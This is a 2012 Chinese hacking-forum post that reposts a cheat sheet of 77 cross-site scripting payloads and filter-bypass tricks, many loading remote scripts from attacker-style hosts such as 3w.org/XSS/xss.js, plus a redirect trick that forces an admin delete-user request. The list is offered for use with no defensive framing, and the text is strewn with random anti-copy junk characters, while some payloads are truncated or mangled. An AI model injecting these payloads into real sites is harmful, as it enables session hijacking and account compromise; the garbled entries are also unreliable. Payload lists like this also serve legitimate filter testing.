中国网络渗透测试联盟

标题: xss跨站脚本攻击汇总 [打印本页]

作者: admin    时间: 2012-9-5 14:56
标题: xss跨站脚本攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。2 L( ?5 {8 E/ f4 N  B& D) N$ c

5 l4 |7 b* G- [) P( d (1)普通的XSS JavaScript注入! o4 |: ^2 x$ J5 s* Z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
+ O5 N- L$ o7 [5 p0 @
: M3 M2 f7 C) G! r% _ (2)IMG标签XSS使用JavaScript命令
% ~  C  \% ]* \* G <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>" E6 Y/ d, O: s% E

1 W2 r  H9 v4 Y (3)IMG标签无分号无引号7 k2 t# t9 U2 p( n& g
<IMG SRC=javascript:alert(‘XSS’)>
- \, a  g: {0 U2 }* ?' ]& M: B5 b0 `$ J8 F" h, Z: l
(4)IMG标签大小写不敏感% g4 U9 `; ^+ g! Q* B
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
3 D: C' v$ @, I% U: K/ A% M$ O$ I, M' P: B3 l3 E
(5)HTML编码(必须有分号)
) o! E5 v; D2 a- P  ^0 _ <IMG SRC=javascript:alert(“XSS”)>
0 m( w7 y! C  @; ?: v( R% ^2 F: C
; n9 Y+ u. u1 K. l/ f& O (6)修正缺陷IMG标签
+ T) m9 j8 e( x; B# W <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
( O, N3 O5 v! ~! J' ~# O# ^  r/ c4 X7 t( N& M- P5 {
(7)formCharCode标签(计算器)
* M/ B) {& B3 Y+ @  k& y+ s <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>. k+ [5 D6 h# X2 I2 R# H
$ l$ ~) K( l# U
(8)UTF-8的Unicode编码(计算器)# P) U; N/ r( H
<IMG SRC=jav..省略..S')>
2 I: M6 x* X! q7 n" C0 [' O3 r; i
(9)7位的UTF-8的Unicode编码是没有分号的(计算器). e  A4 I5 J6 h; k  ]
<IMG SRC=jav..省略..S')>
8 e( o! |1 h. L' H1 Z2 @# G1 `, }5 h* k% c7 O9 [# L7 C- _
(10)十六进制编码也是没有分号(计算器)
$ R8 {2 g  ~) c+ c- F" y <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>: e. _1 `9 e1 {3 k4 Y2 q0 q. A7 V: Y+ g
% k8 M% t5 h1 a% p* I% a; l
(11)嵌入式标签,将Javascript分开
' t; c5 f: [' H1 t <IMG SRC=”jav ascript:alert(‘XSS’);”>  S% z4 C( R' l$ K
' z1 P3 x% m/ I3 l/ N" I. [/ n
(12)嵌入式编码标签,将Javascript分开: c- V4 A5 O" o
<IMG SRC=”jav ascript:alert(‘XSS’);”>
' M/ A2 n% i6 S
# n+ R/ M& I% O  E8 b. C9 Y  N (13)嵌入式换行符& ^6 T, f! O( N9 W
<IMG SRC=”jav ascript:alert(‘XSS’);”>  E/ F/ L) ?  u7 N& |' G

+ S3 k, L- i& p% n (14)嵌入式回车
$ Q" L! w+ \8 b <IMG SRC=”jav ascript:alert(‘XSS’);”>: E: Q3 b7 J7 a/ \8 f

, N* Q1 X- c# A; ~& `, e: T (15)嵌入式多行注入JavaScript,这是XSS极端的例子
) Y7 U& c1 M, [% u) k, p) m* T <IMG SRC=”javascript:alert(‘XSS‘)”>
% \8 y' q8 q( X: v
6 s4 G( a5 x$ F# U' r) [: B (16)解决限制字符(要求同页面)0 U$ M5 {4 `$ L$ t: X
<script>z=’document.’</script>
% {/ j/ r: W3 f5 w$ _2 \" n  M0 r <script>z=z+’write(“‘</script>
/ S/ w9 h  d+ ?. J+ Q <script>z=z+’<script’</script># F! t4 {2 q: ]0 S/ G6 f5 M  K2 Z, c/ q- \
<script>z=z+’ src=ht’</script>. y9 @* ]% n" U) p
<script>z=z+’tp://ww’</script>
6 D9 p1 T0 Y  O5 l <script>z=z+’w.shell’</script>7 R/ H' w8 Z. a  f  i
<script>z=z+’.net/1.’</script>
  Z7 E& E8 u* ?! c* S6 E9 j+ l <script>z=z+’js></sc’</script>
2 k6 x& x( T1 p: `& o# D <script>z=z+’ript>”)’</script>
- B/ a, P$ ]/ R) z+ Z" m: F. T3 E <script>eval_r(z)</script>
6 c* S" G& p' c/ w  l, E3 k& u9 O, H
, Y4 a% T: e; y# ]. L8 g (17)空字符
! R0 `5 ?, s$ l, Y perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out! ?- ?( ?; i& ?

$ K# f7 q+ Z4 O, E& M (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用. Y- m7 h- t3 P+ S, q
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out1 f$ x' }: ?( i6 R
0 A3 x& F$ X: [0 |" k
(19)Spaces和meta前的IMG标签
7 g8 ^' t% ~, a/ R <IMG SRC=”   javascript:alert(‘XSS’);”>- l% K/ {3 W/ D* K; [
; G7 U7 z  P7 P7 g7 U
(20)Non-alpha-non-digit XSS
1 w. B3 Z% x4 y6 x( ^6 B <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
/ P- v7 Z- k% v" N
% W6 d1 w8 k4 M6 Q3 I* r (21)Non-alpha-non-digit XSS to 2; i1 k8 D' Y. X3 `
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
% D5 g6 p9 B5 Q+ A( ~, `# J
) b$ u; A! d; d4 I& S7 n (22)Non-alpha-non-digit XSS to 3
) B/ @- ^- ?- U2 J3 G$ p& R  L8 ? <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
  y# k- G/ C2 I0 d
* P% q1 y8 E$ M- x2 o8 g/ R (23)双开括号0 `/ ?3 o+ P; j9 O7 O) B& [. n
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- R% o2 A$ r7 A; w, d
- {. w* e, U$ }7 s0 |' _& h (24)无结束脚本标记(仅火狐等浏览器)
7 W( }. z& V7 C( O: o( y2 u) m6 j <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>' l$ x% p4 h  m: G. w* |0 J
4 j: W) U( r5 `+ b' B9 e
(25)无结束脚本标记2
& S5 Z# V' F" p8 L <SCRIPT SRC=//3w.org/XSS/xss.js>
- @8 n. @; p# D  ?0 w" u
1 K  O7 I8 f% F0 w6 H5 K- T' D2 S (26)半开的HTML/JavaScript XSS) K- ]4 D3 `+ N$ ^. \- F- i
<IMG SRC=”javascript:alert(‘XSS’)”9 O) o$ Y  F  |: H2 T

3 g$ F" T  }$ l (27)双开角括号5 L8 N0 v! k* D! X5 P; J
<iframe src=http://3w.org/XSS.html <
6 W# a5 m/ J( ^4 ]; J  O0 `: H! `; ~2 F1 F
(28)无单引号 双引号 分号
4 h, ^+ F: k# Z: I: j+ j2 h4 K2 W <SCRIPT>a=/XSS/5 h0 G2 @) e/ {( M5 o, w' w. n$ D
alert(a.source)</SCRIPT>9 F. j, B$ X# _4 _+ j% ]- b- L) n

# F9 J3 z8 q; r/ A  U; R9 f" Y (29)换码过滤的JavaScript  p8 ]5 m- o5 l/ e: x4 y, n
\”;alert(‘XSS’);//
4 P$ x" W( \4 V) X& d4 a1 u
3 Y% b: f" d" E$ I/ G/ n1 S5 p (30)结束Title标签
  x7 H% T& |2 ]6 ~+ M </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
6 o/ a& }* A4 m3 B4 {; z: y# {( g: T
(31)Input Image
3 X7 ^1 E4 R1 s' i' [! C# Q <INPUT SRC=”javascript:alert(‘XSS’);”>
2 S2 v5 H$ b. j* y0 g  W$ u! l/ p# M8 ?
(32)BODY Image
# g. N( e- ~9 |5 L <BODY BACKGROUND=”javascript:alert(‘XSS’)”>! w5 e. A$ K7 b5 ?# A* {/ y
* i6 R4 k/ x  p+ j. a% o; X
(33)BODY标签
# ?' w, F$ g0 R: Q) m <BODY(‘XSS’)>" B& r& _% s$ b# c
( \* f0 W# V" o/ J0 \" a( c7 h. h' m
(34)IMG Dynsrc3 Q& E$ O- v4 B2 U
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
5 g8 ^  y. ]% n* n2 F7 _: _6 x9 K, ^- U, T2 Z: r
(35)IMG Lowsrc7 b; d6 W5 R$ E) ]! B
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
5 J) x: y3 y9 k- V8 e; ?
4 C5 A1 z) }+ l1 h3 g; U (36)BGSOUND
! g) ^2 `9 S4 ]% Z <BGSOUND SRC=”javascript:alert(‘XSS’);”>
! Q0 ?+ n5 F/ a  ?! a
$ |, |. T2 Y. n6 |+ y  I' k (37)STYLE sheet
6 f& T* z  u( n  b& n <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
/ W9 N) d  t; ~4 l/ }0 H7 m8 @" t0 o
(38)远程样式表; s. D/ M" Z# ?; j  `9 H" T
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
5 R' K* {" y9 C$ |
; q- `) ]5 |; y& `$ U! a (39)List-style-image(列表式)0 U& P% a. v$ W
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS2 W# J' M8 L# e$ v/ u$ r7 T1 ?

5 @$ l. A5 Q( m+ T2 f7 |9 a (40)IMG VBscript
% b" Y" r2 ~# \5 A" N <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
" s+ L9 R! d" K4 o6 k; [/ Y* ]0 c! ?
(41)META链接url8 y6 }6 a# x3 K- a
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
2 D0 j! L1 m3 }) \8 U! _. N2 ?# C2 }
(42)Iframe
  x& z. g: l( b0 Z7 x! R <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>* g; D, n7 ^+ q: H& @  Q3 w# p5 _
. p  j( |' o5 v" j/ \3 Z. N
(43)Frame9 J9 i7 P' n! }  g) V) W
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>2 D" L( q7 b' G% }, Y
+ Q  m+ ~' b0 X& ?/ o
(44)Table8 i4 J' i, F! b3 U% m% v2 F
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>8 t( |; Q5 V# z, S% H* R
4 K# W) T3 m6 r% y% @# x# e8 ^
(45)TD
+ O4 p) P  Y3 H; f <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>  ~1 D* a  m) l! e& P

3 a0 H% Q* w; i6 t$ B (46)DIV background-image8 E3 r7 T( |4 `  r
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, Z  g& J9 ^, _

7 b/ _, g) @4 F( H+ E (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
2 P8 a" r% ]7 Q% y4 k5 C! F$ @ <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
% d! B% k* n2 ~0 `) |, X5 X' u  s  [8 D2 n4 |- O4 y% I+ ?- W4 `
(48)DIV expression3 X. ~4 w1 ?" @8 s/ B
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
0 O# g, Z* Q! d. e
  N! ^& I, \( t0 {" F& a; D" h+ v (49)STYLE属性分拆表达
1 Q6 _& [. [2 A: ] <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>0 G* y8 A8 C6 y2 j

) G9 C1 d- V" ~ (50)匿名STYLE(组成:开角号和一个字母开头)
6 }6 l$ z2 T1 }/ s4 a  ? <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
9 Y2 U1 v7 A3 z9 P
- r/ V; x7 F9 m7 Y3 W3 K: a (51)STYLE background-image
# Z+ S3 \4 B0 A! l <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>: ^% f: x+ _. p

! a  V/ J0 c" n3 @6 ~6 B+ D& ` (52)IMG STYLE方式
$ i2 y& Y6 R4 [. C; Z2 u/ x exppression(alert(“XSS”))’>
1 @2 o8 T4 h# t( L7 Q. C
% f' P, z+ q3 @+ ` (53)STYLE background
! l+ h% a$ P4 w  p <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
& F& I9 D# L  b. r3 C/ H$ z8 ]6 K* [2 e0 A) {" r# E0 M! l
(54)BASE5 i8 t) T: g& V) W# [
<BASE HREF=”javascript:alert(‘XSS’);//”>
+ B+ a  j. F% k, e% d& y8 T3 k) S1 j. M+ ?, I* m
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" F8 {& B6 e5 h5 P' o4 W2 q <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>* u  v6 w, O7 ?& }" p7 ?  q

, A, }2 a* L4 c* {2 b2 i5 C (56)在flash中使用ActionScrpt可以混进你XSS的代码
) u, s6 Z$ I) z0 s a=”get”;
, ~* [9 s8 I) @- H- d; t) m b=”URL(\”";
) o4 J4 n9 B+ N! X. C7 P c=”javascript:”;
% V; ^( `( v' a( N. E. h2 T0 W- p d=”alert(‘XSS’);\”)”;+ C. U7 C5 I+ f1 a4 h: y8 \
eval_r(a+b+c+d);
  |7 K! k5 I4 ?3 O: |
& o# G. H' n+ ~  |* _8 @ (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上, q0 l0 e, o3 u2 Z
<HTML xmlns:xss>
4 D. l: {$ P+ a& c <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
" H2 n9 T, q& c' Q5 [; ? <xss:xss>XSS</xss:xss>( i9 T% `& B" C4 s0 A3 T: z- V
</HTML>
% w% \; S" N9 L* ?: U1 y4 \" J  u$ S9 B, T- s% q$ P
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
3 D7 K. y# m9 e$ e <SCRIPT SRC=””></SCRIPT>
. q7 ~/ ]0 C" x7 z1 S- o- N2 }% v% N6 ]4 F3 B! T: U9 M
(59)IMG嵌入式命令,可执行任意命令' `+ R7 [$ Z8 \8 c* q9 G
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
8 S' k) D: }7 T/ j, `6 U# Z1 M& S* t4 l& s$ J
(60)IMG嵌入式命令(a.jpg在同服务器)3 N( g7 G, ~& a/ Q
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser* |& ]  I  W9 K( j8 o
+ _6 u" u6 P8 p. [7 B) U6 X
(61)绕符号过滤: f1 s' O+ N# s
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 m- R( p1 {+ R2 |+ C" M/ J: h7 t  W& P! P( b0 v9 o7 H' K
(62)' h7 \% Q& n5 ]2 k
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>8 O; A5 n8 A/ o! d. @2 @
0 _! U7 H4 x# s
(63)
7 o4 s% f. m/ ?. I& ] <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
, t/ w$ j" I/ U; i2 i
* A5 G7 k$ ^" @ (64)% x) k) R# d# M7 p6 q. |
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>9 A! Y+ |" j9 d8 n

: p) r) p3 O9 S& c8 x4 i! F' h (65)
( C* z& T5 g: W! B <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>4 k! i1 e* a1 M8 N! H( k+ ]

. V- Q8 n; L& g$ g0 W9 Z (66)
' {$ r( p) {4 Y* S. a <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
6 i; y$ d5 z# P/ |, k* ]  R' a- D
(67)
8 d8 n0 P- Y: U: M) O' M0 g <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>4 K- h5 }; [- A: k/ \9 u5 Q
4 w- {9 p2 V. s, d0 d% d
(68)URL绕行
6 B$ ~4 q) S3 W, x6 L: e$ e <A HREF=”http://127.0.0.1/”>XSS</A>
3 z; Q7 X& A) \. X3 B7 l% L& A4 M, G- G. I8 C  F/ a2 q
(69)URL编码: x, d) v1 H6 i( k
<A HREF=”http://3w.org”>XSS</A>
" ]. P: ^3 s9 k: R7 Z/ f, }! M* @% t' K
(70)IP十进制& t% w9 s# v+ V  k: F. y4 h
<A HREF=”http://3232235521″>XSS</A>; _1 o) V4 u" [

, [/ w& h, V6 H$ q (71)IP十六进制2 w$ _) H4 F: _+ ~2 o
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
" d7 A- A9 j6 Z1 ^3 W( t- R
/ F; U* Y4 B7 b) u: s: D& [9 m (72)IP八进制
) f5 P' W1 B# U! D <A HREF=”http://0300.0250.0000.0001″>XSS</A>
9 h: j( b9 ~( u* H" w9 W; O1 ^. K& A$ H2 }) b3 }% ?% @
(73)混合编码9 M( V) _$ }/ H
<A HREF=”h
. j# I1 l) o4 H: s3 P tt p://6 6.000146.0×7.147/”">XSS</A>9 X, w' W5 ]4 X8 X( u% y
' {% P! }) z) ^8 T3 K
(74)节省[http:]
1 v1 x' U* ?, |3 o <A HREF=”//www.google.com/”>XSS</A>
- ~4 l5 C0 V' t  a* h/ r9 h' u! Q% Q0 I
(75)节省[www]
/ ~. T  R* E9 K <A HREF=”http://google.com/”>XSS</A>
3 }& D. {) L6 w, @! i9 K- [4 q  a" F
(76)绝对点绝对DNS
+ m, Q9 b9 M  M/ E; [: w <A HREF=”http://www.google.com./”>XSS</A>; }0 q, P# e5 ?. d; z1 W
9 {- K# P% ^5 v0 S# I
(77)javascript链接
( P/ j6 }( E+ V, e$ a <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2